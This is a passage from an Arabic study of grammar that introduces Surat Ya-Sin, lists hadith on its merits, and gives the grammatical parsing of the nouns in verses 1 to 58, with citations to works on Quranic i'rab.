والآخر, وهو الذي خلق السموات بأمره "كن فيكون". والفعل يدل على انتقال الإنسان بالدلالات من أسماء الأشياء، والمعنى إلى الواقع الخارجي أو الداخلي، بالحدث والتجربة والممارسة والتغيير والتحول المحيط به في الحياة وعندما تخالط عنصري الزمان والمكان وبذالك تصبح فعلا، فما حدث وانتهى وقت حدوثه سمي ماضيًا، وما يحدث في الحال والمستقبل سمي مضارعا، وما طلب إحداثه سمي أمرًا، ومعنى ذلك أن الفعل هو عبارة على الأعمال والتحولات والتبديلات التي تطرأ على أسماء الأشياء، والمعنى تختلط بعنصر الزمان في الواقع العملي، ومن خلال مراجعة أصل الفعل وجميع المشتقات وهو مصدر أو اسم المعنى ما يشير إلى ما تقدمه، حيث أن المصدر يشير إلى المعنى في النفس، وقبل خروجه إلى الواقع واختلاطه بعنصر الزمان. فإذا اختلط بعنصر الزمان في الواقع فقد أصبح فعلا. وأما الحرف فلفظ ليس له معنى إذا كان منفردًا، ولاينكشف معناه إلا إذا استعمل في الجملة، وله فائدة عظيمة في ربط أجزاء الكلام مع بعضه، وهو أشبه بخيط الخياط الذي يصنع الثياب في القوة والجمال، وكذلك الحرف يعطي الجملة القوة والجمال والترابط.(1) وخلاصة الأمر علم النحو بين يدي العلوم كالتنفس في حياة الإنسان الذي لا يمكن أن يعيش بدونه ولو خمس دقائق، ولو تم له ذلك فهو في حال حرج ومرج أو أنه يغرغر على فراش الموت. 1-www.startimes.com/%3ft%3D23808676. *علم النحو في خدمة القرآن الكريم حينما جاء الإسلام وكانت الفتوح إنساح العرب في أمصار جديدة واختلطوا بأقوام آخرين، وتأثروا بهم لما أثروا في ألسنتهم، فأخذ العرب أنفسهم يلحنون أي يخالفون عن طريقتهم الأولى في كلامهم فيخطئون في إعراب وفي تأليف الجمل وفي صيغ الكلام، كما أن من دخلوا الإسلام من غير العرب، قد رغبوا في تعليم اللغة العربية، لغة القرآن الكريم. وهكذا تظافرت العوامل الحيوية على وضع النحو، ووضع أصول وأحكام تصف نظام الجملة العربية وأنماط تأليف الكلام، وتصف نظام الإعراب وكيف يجري على أواخر الكلم، ليكون ذلك دليلا للعرب وغيرهم في تركيب الكلام, وصوغ الكلم على مثال العربية الفصيحة، ليكون دليلا لهم ولغيرهم في قراءة القرآن الكريم قراءة مستقيمة، وفقه أسراره، لذا وضعوا علم النحو خدمة للقرآن الكريم أساسا، وهكذا حمى لغة القرآن الكريم من تحريف القلوب الضالة لمعانيه في علوم التفسير، واستخراج الأحكام، فكان سياجا على المعنى القرآني من ألعاب الزنادقة وغيرهم من الفرق الضالة قديما وحديثا.(1) وكما أن الله سبحانه وتعلى وعد حفظ كتابه و حمايته، "إنا نحن نزلنا الذكر وإنا له لحافظون"(2) وأخيرا وليس آخرا، كان الهدف من هذه البيانات الطويلة أن نجلو عن هذا العلم المظلوم صدأ الجهل به، ولعل القارئ يتأثر ببعض ما قدمنا فيندفع في حب النحو، وترتفع همته في تعلمه بحد ونشاط، فعلم النحو كما يقول أحد العلماء: "تيسيرة وثغرة الأخيرة التي نود لفت الرأي إليها هي ثغرة نفسية، تتخلص في تصوير القواعد العربية، وكأنها مسألة معقدة جدا، ونؤكد للمتكلم بالعربية الراغب في دراسة القواعد أن يراجع هذه الوريقات مرة بعد أخرى، حتى يصل إلى هدف مرجو. 1-www.startimes.com1%3ft%3D23808676 2- القرآن الكريم. ونسأل الله تعالى أن ينفعنا به وزملاءنا طلاب اللغة العربية ومدرسيها إلى أن ينشرح صدورنا من القلق والملل ورؤية صعوبة المادة، آمين. والله المستعان!!؟ *تعريف بسورة "يـــس": سورة يـــس مكية وقد تناولت مواضيع أساسية وعدد آياتها ثلاثة وثمانون أية(83). وتشتمل: 1- الإيمان بالبعث والنشور. 2- قصة أهل القرية. 3- الأدلة والبراهين على وحدانية رب العالمين. وابتدأت هذه السورة الكريمة بالقسم بالقرآن الكريم على صحة الوحي، وصدق رسالة محمد صلى الله عليه وسلم. ثم تحدثت عن كفار قريش، الذين تمادو في الكفر والضلال، وكذبوا سيد الأنبياء, رسول الرحمة محمد بن عبدالله فحق عليهم الوعيد. ثم ساقت قصة أهل القرية التي تسمى "أنطاقية" الذين كذبوا الرسل، لتحذير من عاقبة التكذيب بالوحي والرسالة على طريق القرآن في استخدام القصص للعظة والاعتبار. وذكرت موقف الدعاة المؤمنين "حبيب النجار" الذي نصح قومه فقتلوه فأدخله الله الجنة، فأخذ المجرمين بصيحة الهلاك والدمار. وتحدثت السورة على دلائل القدرة والوحدانية في هذا الكون العجيب، مثل إحياء الأرض الجرداء, ثم سلوخ الليل في النهار فإذا هو ظلام دامس، ثم مشهد الشمس الساطعة تدور بقدرة الله في فلك لا تخطئه, ثم مشهد القمر يتدرج في منازله, ثم مشهد الفلك المشحون يحمل بعض الكائنات على قدرة الله وكلها دلائل باهرة. وتحدثت عن القيامة وأهوالها، وعن نفخة البعث والنشور، التي يقوم الناس فيها من القبور، وعن أهل الجنة والنار، والتميز خلال الناس بين المؤمنين والمجرمين، والسعداء والأشقياء، وبين صاحب النعيم والجحيم. وختمت هذه السورة الشريفة بالحديث عن الموضوع الأساسي وهو موضوع "البعث والجزاء"، وأقامت الأدلة والبراهين على حدوث ذلك.(1) 1- صفوة التفاسير في تفسير سورة يـــس. وسميت سورة "يـــس" لأن الله افتتح السورة الشريفة بها، وفي ذلك إشارة إلى إعجاز القرآن الكريم. ومن فضائل هذه السورة أن هناك حديث عن معقل بن يسار قال: قال رسول الله صلى الله عليه وسلم: "اقرءوا يـــس على موتاكم". ومن حديث أم درداء عن النبي صلى الله عليه وسلم قال: "ما من ميت يقرأ عليه يــس إلا هون الله عليه" وفي مسند الدارمي عن أبي هريرة قال: قال رسول الله صلى الله عليه وسلم: "من قرأ يــس في ليلة ابتغاء وجه الله غفرالله له في تلك الليلة" أخرجه أبو نعيم الحافظ. وروى الترمذي عن أنـس قال: قال رسول الله صلى الله عليه وسلم:"إن لكل شئ قلبا، وقلب القرآن يــس، ومن قرأ يــس كتب الله له بها قراءة القرآن عشر مرات"، وعن عائشة رضي الله عنها أن رسول الله صلى الله عليه وسلم قال:"إن في القرآن لسورة ستشفع لقارئها وتغفر لمستمعها, ألا وهي" سورة يــس" تدعى في التورة المعمة، قيل: يارسول الله وما المعمة قال:"تعم صاحبها خيرالدنيا وتدفع عنه أهوال الآخرة، وتدعى أيضا الدامغة والقاضية، قيل: يا رسول الله وكيف ذلك؟ قال:"تدفع عن صاحبها كل سوء وتقضى له كل حاجة". وفي حديث الدارمي عن شهر بن حوشب قال: قال ابن عباس:" من قرأ يــس حين أصبح يعطى يسريومه حتى يمسي, ومن قرأها في صدر ليلة أعطى يسرليلته حتى يصبح". وروى الضحاك عن ابن عباس قال: قال رسول الله صلى الله عليه وسلم: "إن أهل الجنة يرفع عنهم القرآن فلا يقرءون شيئا سوى سورة طــه ويــس". وعن أبي هريرة أن رسول الله صلى الله عليه وسلم قال" من قرأ سورة يــس ليلة الجمعة أصبح مغفورا له". وعن أنـس أن رسول الله صلى الله عليه وسلم قال: "من دخل المقبرة فقرأ سورة يــس خفف العذاب عن أهلها ذلك اليوم، وكان له بعدد من فيها حسنات". وقال ليحي بن أبي كثير:" بلغني أن من قرأ سورة يــس ليلا لم يزل في فرح حتى يصبح, ومن قرأها حين يصبح لم يزل في فرح حتى يمسي". وعن ابن عباس أنه صلى الله عليه وسلم قال: "إن لكل شئ قلبا, وقلب القرآن سورة يــس، ومن قرأها يريد بها وجه الله غفر له وأعطى من الأجر كأنما قرأ القرآن عشر مرات، وأيما مسلم قرئ عنده إذا نزل به ملك الموت سورة يــس نزل بكل حرف منها عشرة أملاك يقومون بين يديه صفوفا يصلون عليه ويستغفرون له ويشهدون غسله ويتبعون جنازته، ويصلون عليه ويشهدون دفنه. وأيما مسلم قرأ سورة يــس وهو في سكرات الموت لم يقبض ملك الموت روحه حتى يجئ رضوان بشربة من الجنة فيشربها وهو على فراشه فيقبض روحه وهو ريان ويمكث في قبره ريان ولا يحتاج إلى حوض من حياض الأنبياء حتى يدخل الجنة وهو ريان"(1) وهذه من فضائل هذه السورة المباركة. والله المستعان. 1- الفتوحات الإلهية بتوضيح تفسير الجلالين للدقائق الخفة. ص:527. *الأسماء وإعرابها من سورة يــس: ﴿بسم الله الرحمن الرحيم﴾ 1- ﴿يـــس﴾ اسم من أسماء الرسول محمد صلى الله عليه وسلم, مثل: "طــه" ولا محل لها من الإعراب. 2- ﴿وَالقُرْآنِ الْحَكِيمٍ﴾: "القرآن" مقسم به مجرور بحرف القسم وعلامة جره الكسرة الظاهرة. "الحكيم" مجرور بالكسرة الظاهرة لأنه صفة للمنعوت. 3- ﴿إِنَّكَ لَمِنَ الْمُرْسَلِينَ﴾: "المرسلين" مجرور بمن وعلامة جره الياء لأنه جمع مذكر سالم. 4- (﴿على صراط مستقيم﴾: "صراط" مجرور بعلى وعلامة جره الكسرة الظاهرة. "مستقيم" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 5- ﴿تنزيل العزيز الرحيم﴾: "تنزيل" مفعول مطلق لفعل محذوف منصوب بالفتحة الظاهرة.(1) "العزيز" مجرور بالإضافة وعلامة جره الكسرة الظاهرة. "الرحيم" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 6- ﴿لتنذر قوما ما أنذر آباؤهم فهم غافلون﴾: "قوما" مفعول به منصوب بالفتحة الظاهرة. "آباؤ" نائب فاعل مرفوع بالضمة الظاهرة. "غافلون" خبرالمبتدأ مرفوع بالواو لأنه جمع مذكر سالم. 7- ﴿لقد حق القول على أكثرهم فهم لايؤمنون﴾: "القول" فاعل مرفوع بالضمة الظاهرة. "أكثر" مجرور بعلى وعلامة جره الكسرة الظاهرة. 8- ﴿إنا جعلنا في أعناقهم أغلالاً فهي إلى الأذقان فهم مقمهون﴾ "أعناق" مجرور بفي وعلامة جره الكسرة الظاهرة. "أغلالا" مفعول به منصوب بالفتحة الظاهرة. 1- وعبارة الزمخشري: "قرىء تنزيل العزيز الرحيم بالرفع على أنه خبر المبتدأ محذوف، وبالنصب بالفعل المحذوف، والجر على البدلية من القرآن" (محي الدين الدرويش (د.ت) إعراب القرآن الكريم وبيانه. م:8، ج:22، ص:174). "الأذقان" مجرور بإلى وعلامة جره الكسرة الظاهرة. "مقمهون" خبر المبتدأ مرفوع بالواو لأنه جمع مذكر سالم. 9- ﴿وجعلنا من بين أيديهم سدًا ومن خلفهم سدًا فأغشيناهم فهم لايبصرون﴾: "بين" مجرور بمن وعلامة جره الكسرة الظاهرة. "أيدي" مجرور بالإضافة وعلامة جره كسرة مقدرة على آخره منع من ظهورها الثقل. "سدًا" مفعول به منصوب بالفتحة الظاهرة. "خلف" مجرور بمن وعلامة جره الكسرة الظاهرة. "سدًا" مفعول به منصوب بالفتحة الظاهرة. 10- ﴿وسواء عليهم أأنذرتهم أم لم تنذرهم لايؤمنون﴾: "سواء" خبر لمبتدأ محذوف مرفوع بالضمة الظاهرة. 11- ﴿ إنما تنذر من اتبع الذكر وخشي الرحمن بالغيب فبشره بمغفرة وأجركريم﴾: "من" اسم موصول مبني على السكون في محل نصب مفعول به وكسر لالتقاء الساكنين. "الذكر" مفعول به منصوب بالفتحة الظاهرة. "الرحمن" مفعول به منصوب بالفتحة الظاهرة. "الغيب" مجرور بالباء وعلامة جره الكسرة الظاهرة. "مغفرة" مجرور بالباء وعلامة جره الكسرة الظاهرة. "أجر" معطوف مجرور وعلامة جره الكسرة الظاهرة. "كريم" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 12- ﴿إنا نحن نحي الموتى ونكتب ماقدموا وآثارهم وكل شئ أحصيناه في إمام مبين﴾: "الموتى" مفعول به منصوب بفتحة مقدرة على الألف منع من ظهورها التعذر. "ما" اسم موصول مبني على السكون في محل نصب مفعول به. "آثار"مفعول به منصوب بالفتحة الظاهرة. "كل" مفعول به منصوب بفعل محذوف يفسره ما بعده، وهو مضاف. "شئ" مجرور بالإضافة وعلامة جره الكسرة الظاهرة. "إمام" مجرور بفي وعلامة جره الكسرة الظاهرة. "مبين" مجرورلمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 13- ﴿واضرب لهم مثلا أصحاب القرية إذ جاءها المرسلين﴾: "مثلا" مفعول به ثان منصوب بالفتحة الظاهرة.(1) "أصحاب" مفعول به أول منصوب بالفتحة الظاهرة. "القرية" مجرور بالإضافة وعلامة جره الكسرة الظاهرة. 14-﴿إذ أرسلنا إليهم اثنين فكذبوهما فعززنا بثالث فقالوا إنا إليكم مرسلون﴾ "إذ" ظرف لما مضى من الزمن مبني على السكون في محل بدل اشتمال. "اثنين" مفعول به منصوب بالياء لأنه ملحق بالمثنى. "ثالث" مجرور بالباء وعلامة جره الكسرة الظاهرة. 1- إعراب القرآن الكريم وبيانه.م:8، ج:22، ص:182. "مرسلون" خبر إن مرفوع بالواولأنه جمع مذكر سالم. 15- ﴿قالوا ما أنتم إلا بشر مثلنا وما أنزل الرحمن من شئ إن أنتم إلا تكذبون﴾: "بشر" محصور بإلاَّ مرفوع بالضمة الظاهرة. "مثل" مرفوع لمتابعة المنعوت وعلامة رفعه الضمة الظاهرة. "الرحمن" فاعل مرفوع بالضمة الظاهرة. "شئ" مجرور بمن وعلامة جره الكسرة الظاهرة. 16- ﴿قالوا ربنا يعلم إنا إليكم لمرسلون﴾ "رب" مبتدأ مرفوع بالضمة الظاهرة. "مرسلون" خبر إنَّ مرفوع بالواو لأنه جمع مذكر سالم. 17- ﴿وما علينا إلاَّ البلاغ المبين﴾ "البلاغ" محصور بإلاّ مرفوع بالضمة الظاهرة، وهو خبر مؤخر. "المبين" مرفوع لمتابعة المنعوت وعلامة رفعه الضمة الظاهرة. 18- ﴿قالوا إنّا تطيرنا بكم لئن لم تنتهوا لنرجمنكم وليمسنكم منّا عذاب أليم﴾ "عذاب" فاعل مرفوع بالضمة الظاهرة. "أليم" مرفوع لمتابعة المنعوت وعلامة رفعه الضمة الظاهرة. 19- ﴿قالوا طائركم معكم أئن ذكرتم بل أنتم قوم مسرفون﴾ "طائر" مبتدأ مرفوع بالضمة الظاهرة، وهو مضاف. "مع" ظرف مكان منصوب بالفتحة الظاهرة. "قوم" خبر المبتدأ مرفوع بالضمة الظاهرة. "مسرفون" مرفوع لمتابعة المنعوت وعلامة رفعه الواو لأنه جمع مذكر سالم. 20- ﴿ وجاء من أقصا المدينة رجل يسعى قال يآقوم اتبعوا المرسلين﴾ "أقصا" مجرور بمن وعلامة جره كسرة مقدرة على الألف منع من ظهورها التعذر، وهو مضاف. "المدينة" مجرور بالإضافة وعلامة جره الكسرة الظاهرة. "رجل" فاعل مرفوع بالضمة الظاهرة. "قوم" منادى منصوب بفتحة مقدرة قبل ياء المتكلم المحذوفة. "المرسلين" مفعول به منصوب بالياء لأنه جمع مذكرسالم. 21- ﴿اتبعوا من لا يسألكم أجرًا وهم مهتدون﴾ "من" اسم موصول مبني على السكون في محل نصب مفعول به. "أجرًا" مفعول به ثان منصوب بالفتحة الظاهرة. "مهتدون" خبر المبتدأ مرفوع بالواو لأنه جمع مذكرسالم. 22- ﴿وما لي لا أعبد الذي فطرني وإليه ترجعون﴾ "ما" اسم استفهام مبني على السكون في محل مبتدأ مرفوع. "الذي" اسم موصول مبني على السكون في محل نصب مفعول به. 23- ﴿أأتخذ من دونه آلهة إن يردن الرحمن بضر لا تغن عني شفاعتهم شيئا ولا ينقذون﴾ "دون" مجرور بمن وعلامة جره الكسرة الظاهرة. "آلهة" مفعول به منصوب بالفتحة الظاهرة. "الرحمن" فاعل مرفوع بالضمة الظاهرة. "ضر" مجرور بالباء وعلامة جره الكسرة الظاهرة. "شفاعة" فاعل مرفوع بالضمة الظاهرة. "شيئا" مفعول به منصوب بالفتحة الظاهرة. 24- ﴿إني إذن لفي ضلال مبين﴾ "ضلال" مجرور بفي وعلامة جره الكسرة الظاهرة. "مبين" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 25- ﴿إني آمنت بربكم فاسمعون﴾ "رب" اسم مجرور بالباء وعلامة جره الكسرة الظاهرة. 26- ﴿قيل ادخل الجنة قال يآ ليت قومي يعلمون﴾ "الجنة" مفعول به منصوب بالفتحة الظاهرة. "قوم" اسم ليت منصوب بفتحة مقدرة قبل ياء المتكلم. 27- ﴿بما غفرلي ربي وجعلني من المكرمين﴾ "ما" اسم موصول مبني على الكسرة في محل جر بالباء.(1) 1- قيل إنها مصدرية أو موصولة، أي بغفران ربي أو بالذي غفره لي من الذنوب، وقال الفراء:"هي استفهامية" وردّ عليه بأنها لوكانت كذلك لحذف ألفها كما هي القاعدة، وقيل: إن حذف الألف أكثرى لا كلي" (إعراب القرآن الكريم وبيانه.م:8,ج:22 ص:189) "رب" فاعل مرفوع بضمة مقدرة قبل ياء المتكلم. "المكرمين" مجرور بمن وعلامة جره الياء لأنه جمع مذكرسالم. 28- ﴿وما أنزلنا على قومه من بعده من جند من السماء وما كنا منزلين﴾ "قوم" مجرور بعلى وعلامة جره الكسرة الظاهرة. "بعد" مجرور بمن وعلامة جره الكسرة الظاهرة. "جند" مجرور بمن وعلامة جره الكسرة الظاهرة. "السماء" مجرور بمن وعلامة جره الكسرة الظاهرة. "منزلين" خبر كان منصوب بالياء لأنه جمع مذكرسالم. 29- ﴿إن كانت إلا صيحة واحدة فإذا هم خامدون﴾: "صيحة" محصور بإلاّ منصوب بالفتحة الظاهرة. "واحدة" منصوب لمتابعة المنعوت وعلامة نصبه الفتحة الظاهرة. "إذا" فجائية(1) مبني على السكون، وهو من الظروف البسيطة.(2) "خامدون" خبر المبتدأ مرفوع بالواو لأنه جمع مذكرسالم. 1- إعراب القرآن الكريم وبيانه.م:8,ج:22, ص:190 2- أطلس النحو العربي لجميع مراحل التعليم. ص:17. 30- ﴿يــحسرة على العباد ما يأتيهم من رسول إلاّ كانوا به يستهزؤن﴾ "حسرة" منادى شبيه بالمضاف منصوب بالفتحة الظاهرة، وإنما كان شبيها بالمضاف لأنه اتصل به شئ من تمام معناه، وقيل: إنه منادى نكرة مقصودة، قيل: نصبت لأنها وصفت بالجار والمجرور، والوجه الثاني: أن المنادى محذووف وحسرة مصدر، أي أتحسر حسرة.(1) "العباد" مجرور بعلى وعلامة جره الكسرة الظاهرة. "رسول" مجرور بمن وعلامة جره الكسرة الظاهرة. 31- ﴿ألم يروا كم أهلكنا قبلهم من القرون أنهم إليهم لا يرجعون﴾ "قبل" ظرف زمان منصوب بالفتحة الظاهرة وهو مضاف. "القرون" مجرور بمن وعلامة جره الكسرة الظاهرة. 32- ﴿وإن كل لما جميع لدينا محضرون﴾ "كل" مبتدأ مرفوع بالضمة الظاهرة. "جميع" خبر المبتدأ مرفوع بالضمة الظاهرة. 1- إعراب القرىن الكريم وبيانه.م:8,ج:22, ص:19 "لدي" ظرف مكان منصوب بفتحة مقدرة على آخره منع من ظهورها التعذر. "محضرون" خبر ثان للمبتدأ مرفوع بالضمة الظاهرة. 33- ﴿وآية لهم الأرض الميتة أحييناها وأخرجنامنها حبّا فمنه يأكلون﴾ "آية" خبر مقدم مرفوع بالضمة الظاهرة. "الأرض" مبتدأ مؤخر مرفوع بالضمة الظاهرة. "الميتة" مرفوع لمتابعة المنعوت وعلامة رفعه الضمة الظاهرة. "حبّا" مفعول به منصوب بالفتحة الظاهرة. 34- ﴿وجعلنا فيها جنات من نخيل وأعناب وفجرنا فيها من العيون﴾ "جنات" مفعول به منصوب بالكسرة نيابة عن الفتحة لأنه جمع مؤنث سالم. "نخيل" مجرور بمن وعلامة جره الكسرة الظاهرة. "أعناب" عطف مجرور وعلامة جره الكسرة الظاهرة. "العيون" مجرور بمن وعلامة جره الكسرة الظاهرة. 35- ﴿ليأكلوامن ثمره وما عملته أيديهم أفلا يشكرون﴾ "ثمر" مجرور بمن وعلامة جره الكسرة الظاهرة. "ما" اسم موصول مبني على السكون عطف على "من ثمره". "أيدي" فاعل مرفوع بضمة مقدرة على الياء منع من ظهورها الثقل. 36-﴿سبحان الذي خلق الأزواج كلها مما تنبت الأرض ومن أنفسكم ومما لا يعلمون﴾ "سبحان" مفعول مطلق لفعل محذوف منصوب بالفتحة الظاهرة. "الذي" اسم موصول مبني على السكون في محل جر بلإضافة. "الأزواج" مفعول به منصوب بالفتحة الظاهرة. "كل" منصوب لمتابعة المؤكد وعلامة نصبه الفتحة الظاهرة. "ما" اسم موصول مبني على السكون في محل جر بمن. "الأرض" فاعل مرفوع بالضمة الظاهرة. "أنفس" مجرور بمن وعلامة جره الكسرة الظاهرة. "ما" اسم موصول مبني على السكون في محل جر بمن. 37- ﴿وآية لهم الليل نسلخ منه النهار فإذاهم مظلمون﴾. "آية" خبر مقدم مرفوع بالضمة الظاهرة. "الليل" مبتدأ مؤخر مرفوع بالضمة الظاهرة. "النهار" مفعول به منصوب بالفتحة الظاهرة. "إذا" فجائية مبني على السكون، وهو من الظروف البسيطة. "مظلمون" خبر المبتدأ مرفوع بالواو لأنه جمع مذكر سالم. 38- ﴿والشمس تجري لمستقر لها ذلك تقدير العزيز العليم﴾. "الشمس" مبتدأ مرفوع بالضمة الظاهرة. "مستقر" مجرور باللام وعلامة جره الكسرة الظاهرة. "ذا" اسم إشارة مبني على السكون في محل رفع مبتدأ. "تقدير" خبر المبتدأ مرفوع بالضمة الظاهرة، وهو مضاف. "العزيز" مجرور بالإضافة وعلامة جره الكسرة الظاهرة. "العليم" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 39- ﴿ والقمر قدرناه منازل حتى عاد كالعرجون القديم﴾. "القمر" مفعول به منصوب بالفتحة الظاهرة. "منازل" مفعول به ثان منصوب بالفتحة الظاهرة.(1) 1- فيه أوجه: أحدها: "أنه حال على حذف مضاف، أي منازل لأنه لامعنى لتقدير نفس القمر منازل" وثانيها: "أنه مفعول به ثان، أي صترناه منازل"وثالثها: أنه ظرف، أي قدرناه سيره في منازل". (إعراب القرآن الكريم وبيانه.م:8,ج:22, ص:200) "العرجون" مجرور بالكاف وعلامة جره الكسرة الظاهرة. "القديم" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 40- ﴿لا الشمس ينبغي لها أن تدرك القمر ولا الليل سابق النهار وكل في فلك يسبحون﴾. "الشمس" مبتدأ مرفوع بالضمة الظاهرة. "القمر" مفعول به منصوب بالفتحة الظاهرة. "الليل" مبتدأ مرفوع بالضمة الظاهرة. "سابق" خبر مبتدأ مرفوع بالضمة الظاهرة. "النهار" مجرور بالإضافة وعلامة جره الكسرة الظاهرة. "كل" مجرور بفي وعلامة جره الكسرة الظاهرة. "فلك" مجرور بفي وعلامة جره الكسرة الظاهرة. 41- ﴿وآية لهم أنا حملنا ذريتهم في الفلك المشحون﴾ "آية" خبر ثان مقدم مرفوع بالضمة الظاهرة. "ذرية" مفعول به منصوب بالفتحة الظاهرة. "الفلك" مجرور بفي وعلامة جره الكسرة الظاهرة. "المشحون" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 42- ﴿وخلقنا لهم من مثله ما يركبون﴾ "مثل" مجرور بمن وعلامة جره الكسرة الظاهرة. "ما اسم موصول مبني على السكون في محل نصب مفعول به. 43- ﴿وإن نشأ نغرقهم فلا صريخ لهم ولا هم ينقذون﴾. "صريخ" اسم لا النافية للجنس منصوب بالفتحة الظاهرة. 44- ﴿إلا رحمة منّا ومتاعًا إلى حين﴾. "رحمة" مفعول لأجله منصوب بالفتحة الظاهرة، فهو استثناء مفرغ من أعم العلل، وقيل: "استثناء منقطع"، وقيل: "هو مفعول مطلق لفعل محذوف"، وقيل: "منصوب بنزع الخافض". "متاعا" معطوف على رحمة وعلامة نصبه الفتحة الظاهرة. "حين" مجرور بإلى وعلامة جره الكسرة الظاهرة. 45- ﴿ وإذا قيل لهم اتقوا ما بين أيديكم وما خلفكم لعلكم ترحمون﴾ "ما" اسم موصول مبني على السكون في محل نصب مفعول به. "بين" ظرف مكان منصوب بالفتحة الظاهرة، وهو مضاف. "أيدي" مجرور بالإضافة وعلامة جره كسرة مقدرة على الياء منع من ظهورها الثقل. "ما" اسم موصول مبني على السكون في محل نصب للمتابعة. "خلف" ظرف مكان منصوب بالفتحة الظاهرة. 46- ﴿وما تأتيهم من آية من آيات ربهم إلا كانوا عنها معرضين﴾ "آية" مجرور بمن الزائدة وعلامة جره الكسرة الظاهرة. وهو فاعل. "آيات" مجرور بمن وعلامة جره الكسرة الظاهرة. وهو مضاف. "رب" مجرور بالإضافة وعلامة جره الكسرة الظاهرة. "معرضين" خبر كان منصوب بالياء لأنه جمع مذكرسالم. 47- ﴿وإذا قيل لهم أنفقوا مما رزقكم الله قال الذين كفروا للذين آمنوا أنطعم من لو يشاء الله أطعمه إن أنتم إلا في ضلال مبين﴾ "إذا" فجائية مبني على السكون، وهو ظرف مستقبل متضمن معنى الشرط. "ما" اسم موصول مبني على السكون في محل الجربمن. "الله" اسم الجلالة وهو فاعل مرفوع بالضمة الظاهرة. "الذين" اسم موصول مبني على الفتحة في محل رفع فاعل. "الذين" اسم موصول مبني على الفتحة في محل الجرباللام. "من" اسم موصول مبني على السكون في محل نصب مفعول به. "الله" اسم الجلالة وهو فاعل مرفوع بالضمة الظاهرة. "ضلال" مجرور بفي وعلامة جره الكسرة الظاهرة. "مبين" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 48- ﴿ويقولون متى هذا الوعد إن كنتم صادقين﴾. "متى" اسم استفهام مبني على السكون في محل رفع خبر مقدم. "ذا" اسم إشارة مبني على السكون في محل رفع مبتدأ مؤخر. "الوعد" بدل من اسم الإشارة مرفوع بالضمة الظاهرة. "صادقين" خبر كان منصوب بالياء لأنه جمع مذكرسالم. 49- ﴿ما ينظرون إلا صيحةً واحدةً تأخذهم وهم يخصمون﴾. "صيحة" مفعول به منصوب بالفتحة الظاهرة، وهو محصور بإلاّ. "واحدة" منصوب لمتابعة المنعوت وعلامة نصبه الفتحة الظاهرة. 50- ﴿فلا يستطيعون توصيةً ولا إلى أهلهم يرجعون﴾ "توصية" مفعول به منصوب بالفتحة الظاهرة. "أهل" مجرور بإلى وعلامة جره الكسرة الظاهرة. 51- ﴿ونفخ في الصور فإذاهم من الأجداث إلى ربهم ينسلون﴾. "الصور" مجرور بفي وعلامة جره الكسرة الظاهرة. "إذا" فجائية مبني على السكون وهو من ظروف البسيطة. "الأجداث" مجرور بمن وعلامة جره الكسرة الظاهرة. "رب" مجرور بإلى وعلامة جره الكسرة الظاهرة. 52- ﴿قالوا يا ويلنا من بعثنا من مرقدنا هذا ما وعد الرحمن وصدق المرسلون﴾. "ويل" مصدر لا فعل له من لفظه منصوب بالفتحة الظاهرة.(1) "من" اسم استفهام مبني على السكون في محل رفع فاعل مقدم. "مرقد" مجرور بمن وعلامة جره الكسرة الظاهرة. "ذا" اسم إشارة مبني على السكون في محل رفع مبتدأ.. "ما" اسم موصول مبني على السكون في محل رفع خبر المبتدأ. "الرحمن" فاعل مرفوع بالضمة الظاهرة. 1- إعراب القرآن الكريم وبيانه.م:8, ج:22، ص:212 "المرسلون" فاعل مرفوع بالواو لأنه جمع مذكرسالم 53- ﴿إن كانت إلا صيحةً واحدةً فإذاهم جميع لدينا محضرون﴾ "صيحة" خبر كان منصوب بالفتحة الظاهرة. "واحدة" منصوب لمتابعة المنعوت وعلامة نصبه الفتحة الظاهرة. "إذا" فجائية مبني على السكون وهو من ظروف البسيطة. "جميع" خبر مبتدأ مرفوع بالضمة الظاهرة. "لدي" ظرف مكان منصوب بفتحة مقدرة على الألف منع من ظهورها التعذر. "محضرون" خبر ثان مرفوع بالواو لأنه جمع مذكر سالم، وقيل: أنه صفة لجميع.(1) 54- ﴿فاليوم لا تظلم نفس شيئا ولا تجزون إلا ما كنتم تعملون﴾ "اليوم" ظرف زمان منصوب بالفتحة الظاهرة. "نفس" نائب فاعل مرفوع بالضمة الظاهرة. "شيئا" مفعول به منصوب بالفتحة الظاهرة. 1- إعراب القرآن الكريم وبيانه. ج:22،م:8, ص:213 "ما" اسم موصول مبني على السكون في محل نصب مفعول به ثان. 55- ﴿إنّ أصحاب الجنة اليوم في شغل فاكهون﴾ "أصحاب" اسم إنّ منصوب بالفتحة الظاهرة. "الجنة" مجرور بالإضافة وعلامة جره الكسرة الظاهرة. "اليوم" ظرف زمان منصوب بالفتحة الظاهرة. "شغل" مجرور بفي وعلامة جره الكسرة الظاهرة. "فاكهون" خبر إنّ ثان مرفوع بالواو لأنه جمع مذكرسالم، وقيل: في محل نصب على الحال. 56- ﴿هم وأزواجهم في ظلال على الأرآئك متكئون﴾ "أزواج" معطوف مرفوع بالضمة الظاهرة. "ظلال" مجرور بفي وعلامة جره الكسرة الظاهرة. "الأرآئك" مجرور بعلى وعلامة جره الكسرة الظاهرة. "متكعون" خبرثان مرفوع بالواو لأنه جمع مذكرسالم. 57-﴿لهم فيها فاكهة ولهم ما يدّعون﴾ "فاكهة" مبتدأ مؤخر مرفوع بالضمة الظاهرة. "ما" اسم موصول أونكرة موصوفة أو مصدرية مبني على السكون في محل رفع مبتدأ مؤخر. 58- ﴿سلامٌ قولاً من ربّ رحيم﴾(1) "سلامٌ" خبر المبتدأ مضمر مرفوع بالضمة الظاهرة. "قولا" مصدر منصوب بفعل محذوف وعلامة نصبه الفتحة الظاهرة. "رب" مجرور بمن وعلامة جره الكسرة الظاهرة. "رحيم" مجرور لمتابعة المنعوت وعلامة جره الكسرة الظاهرة. 1- اختلفت أقوال المعربين في إعراب هذه الآية، وأوصل بعضهم القول فيها إلى ستة أوجه، ونرى أن نثبت نص عبارة الشهاب السمين لوجاهتهاقال: "قوله: "سلامٌ" العاملة على رفعه وفيه أوجه: 1- أنه خبر "مايدعون" 2- أنه بدل من "ما" قاله الزمخشري. 